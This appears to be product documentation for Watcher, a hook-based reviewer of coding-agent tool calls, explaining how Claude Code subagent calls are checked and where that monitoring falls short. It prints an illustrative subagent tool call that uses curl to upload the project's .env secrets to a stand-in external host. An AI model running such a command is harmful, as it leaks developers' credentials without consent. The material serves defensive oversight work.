Subagent coverage
The Watcher client can review subagent tool calls through the coding agent's hooks. Calls routed to blocking review can be allowed, denied, or sent for human approval before they run.
Coverage depends on which calls the agent sends for review, and on the hooks being installed and active. Hook coverage alone does not provide a complete record of each subagent's conversation. Hook and approval flows differ by agent; see Supported agents.
Example: a Claude Code subagent tries to send secrets
A developer asks Claude Code to fix a failing build. Claude Code delegates
the investigation to a subagent. During that work, the subagent proposes a
Bash call that would upload the project's .env file to an external server:
{
"tool_name": "Bash",
"tool_input": {
"command": "curl --data-binary @.env https://uploads.example.invalid/diagnostics"
}
}
This is an illustrative tool call, not a command to run. Assume the file contains secrets and the developer has not approved sharing them.
- Claude Code invokes
PreToolUsebefore running the command. The hook receives the tool name and arguments, including the file and destination. - Watcher reviews that call. The same tool settings and review rules apply as for a call from the main agent. Delegating the task does not exempt the subagent's call from review.
- Watcher returns a decision. In enforce mode, a denial stops this call before the upload runs. An escalation requires approval. An allow decision lets the call proceed. In observe mode, Watcher records its judgment without blocking the call.
The hook gives Watcher a chance to catch the upload itself, even if the main agent's request to investigate the build looked harmless. Whether Watcher denies it depends on the configured rules, thresholds, and review result. Hook coverage does not guarantee detection of every unsafe action.
Review context in this example
For these tool calls, Claude Code supplies the parent session's transcript path. Watcher uses that transcript for review context, alongside the proposed tool call. It does not load the subagent's separate conversation to evaluate the call. The review may therefore lack instructions or earlier steps that only the subagent saw.
Watcher does not create a separate session for each Claude Code subagent. The parent's recorded conversation can include the delegation and the result returned by the subagent. That is not the subagent's full conversation. Do not treat the parent transcript or its grades as a complete audit of the subagent's work.
The coverage described here is at the tool-call boundary. It depends on Claude Code invoking Watcher's hook and on Watcher having a usable transcript. If Watcher is unavailable or the transcript file is missing, the hook falls through to Claude Code's own permission flow.